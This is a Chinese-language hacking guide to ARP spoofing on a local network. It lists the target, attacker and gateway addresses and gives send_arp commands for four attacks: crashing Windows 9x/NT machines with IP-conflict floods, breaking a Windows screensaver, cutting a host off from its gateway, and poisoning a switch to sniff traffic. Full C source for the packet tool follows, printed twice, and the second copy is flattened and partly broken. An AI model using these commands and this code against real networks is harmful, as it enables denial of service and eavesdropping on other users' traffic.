一個要***的機子：10.5.4.178
硬件地址：52:54:4C:98:EE:2F
我的機子： :10.5.3.69
硬件地址：52:54:4C:98:ED:C5
網關： 10.5.0.3
硬件地址：00:90:26:3D:0C:F3
一臺交換機另一端口的機子：10.5.3.3
硬件地址：52:54:4C:98:ED:F7
一：用ARP破WINDOWS的屏保
原理：利用IP衝突的級別比屏保高，當有衝突時，就會跳出屏保。
關鍵：ARP包的數量適當。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \
10.5.4.178 52:54:4C:98:EE:2F 40
二：用ARP導致IP衝突，死機
原理：WINDOWS 9X，NT4在處理IP衝突時，處理不過來，導致死機。
注：對WINDOWS 2K，LINUX相當於flooding,只是比一般的FLOODING 有效的多.對LINUX，明顯系統被拖慢。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 \
10.5.4.178 52:54:4C:98:EE:2F 999999999
三：用ARP欺騙網關，可導致局域網的某臺機子出不了網關。
原理：用ARP應答包去刷新對應着要使之出不去的機子。
[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 \
10.5.4.178 00:90:26:3D:0C:F3 1
注意：如果單單如上的命令，大概只能有效幾秒鐘，網關機子裏的ARP高速緩存會被被***的機子正確刷新，於是只要...
四：用ARP欺騙交換機，可監聽到交換機另一端的機子。
可能需要修改一下send_arp.c,構造如下的數據包。
ethhdr
srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H
arphdr
hwtype:1 protol:800H hw_size:6 pro_size:4 op:1
s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3
d_ha:00:00:00:00:00:00 d_ip:10.5.3.3
然後就可以sniffer了。
原理:
交換機是具有記憶MAC地址功能的,它維護一張MAC地址和它的口號表
所以你可以先來個ARP 欺騙,然後就可以監聽了
不過需要指出,欺騙以後,同一個MAC地址就有兩個端口號
yuange說，“這樣其實就是一個競爭問題。”
好象ARP 以後,對整個網絡會有點影響,不過我不敢確定
既然是競爭,所以監聽也只能監聽一部分,不象同一HUB下的監聽。
對被監聽者會有影響，因爲他掉了一部分數據。
當然還有其他一些應用，需要其他技術的配合。
以下是send_arp.c的源程序
This program sends out one ARP packet with source/target IP
and Ethernet hardware addresses suuplied by the user. It
compiles and works on Linux and will probably work on any
Unix that has SOCK_PACKET. [email][email protected][/email]
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev
usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};
struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};
void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);
int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}
number=atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(&src_in_addr, argv[1]);
get_ip_addr(&targ_in_addr, argv[3]);
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data,DEFAULT_DEVICE);
for (j=0;j {
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}
void die (char *str)
{
fprintf(stderr,"%s\n",str);
exit(1);
}
void get_ip_addr (struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr->s_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
bcopy(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host %s\n", str);
exit(1);
}
}
}
void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ |= val;
if (*str == ':')
str++;
}
}
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CODE:
/*
This program sends out one ARP packet with source/target IP and Ethernet hardware addresses suuplied by the user. It compiles and works on Linux and will probably work on any Unix that has SOCK_PACKET. [email][email protected][/email] */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define ETH_HW_ADDR_LEN 6 #define IP_ADDR_LEN 4 #define ARP_FRAME_TYPE 0x0806 #define ETHER_HW_TYPE 1 #define IP_PROTO_TYPE 0x0800 #define OP_ARP_REQUEST 2 #define OP_ARP_QUEST 1 #define DEFAULT_DEVICE "eth0" char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"}; struct arp_packet { u_char targ_hw_addr[ETH_HW_ADDR_LEN]; u_char src_hw_addr[ETH_HW_ADDR_LEN]; u_short frame_type; u_short hw_type; u_short prot_type; u_char hw_addr_size; u_char prot_addr_size; u_short op; u_char sndr_hw_addr[ETH_HW_ADDR_LEN]; u_char sndr_ip_addr[IP_ADDR_LEN]; u_char rcpt_hw_addr[ETH_HW_ADDR_LEN]; u_char rcpt_ip_addr[IP_ADDR_LEN]; u_char padding[18]; }; void die (char *); void get_ip_addr (struct in_addr *, char *); void get_hw_addr (char *, char *); int main (int argc, char * argv[]) { struct in_addr src_in_addr, targ_in_addr; struct arp_packet pkt; struct sockaddr sa; int sock; int j,number; if (argc != 6) die(usage); sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP)); if (sock < 0) { perror("socket"); exit(1); } number=atoi(argv[5]); pkt.frame_type = htons(ARP_FRAME_TYPE); pkt.hw_type = htons(ETHER_HW_TYPE); pkt.prot_type = htons(IP_PROTO_TYPE); pkt.hw_addr_size = ETH_HW_ADDR_LEN; pkt.prot_addr_size = IP_ADDR_LEN; pkt.op = htons(OP_ARP_QUEST); get_hw_addr(pkt.targ_hw_addr, argv[4]); get_hw_addr(pkt.rcpt_hw_addr, argv[4]); get_hw_addr(pkt.src_hw_addr, argv[2]); get_hw_addr(pkt.sndr_hw_addr, argv[2]); get_ip_addr(&src_in_addr, argv[1]); get_ip_addr(&targ_in_addr, argv[3]); memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN); memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN); bzero(pkt.padding,18); strcpy(sa.sa_data,DEFAULT_DEVICE); for (j=0;j { if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0) { perror("sendto"); exit(1); } } exit(0); } void die (char *str) { fprintf(stderr,"%s\n",str); exit(1); } void get_ip_addr (struct in_addr *in_addr, char *str) { struct hostent *hostp; in_addr->s_addr = inet_addr(str); if(in_addr->s_addr == -1) { if ((hostp = gethostbyname(str))) bcopy(hostp->h_addr, in_addr, hostp->h_length); else { fprintf(stderr, "send_arp: unknown host %s\n", str); exit(1); } } } void get_hw_addr (char *buf, char *str) { int i; char c, val; for(i = 0; i < ETH_HW_ADDR_LEN; i++) { if (!(c = tolower(*str++))) die("Invalid hardware address"); if (isdigit(c)) val = c - '0'; else if (c >= 'a' && c <= 'f') val = c-'a'+10; else die("Invalid hardware address"); *buf = val << 4; if (!(c = tolower(*str++))) die("Invalid hardware address"); if (isdigit(c)) val = c - '0'; else if (c >= 'a' && c <= 'f') val = c-'a'+10; else die("Invalid hardware address"); *buf++ |= val; if (*str == ':') str++; } } |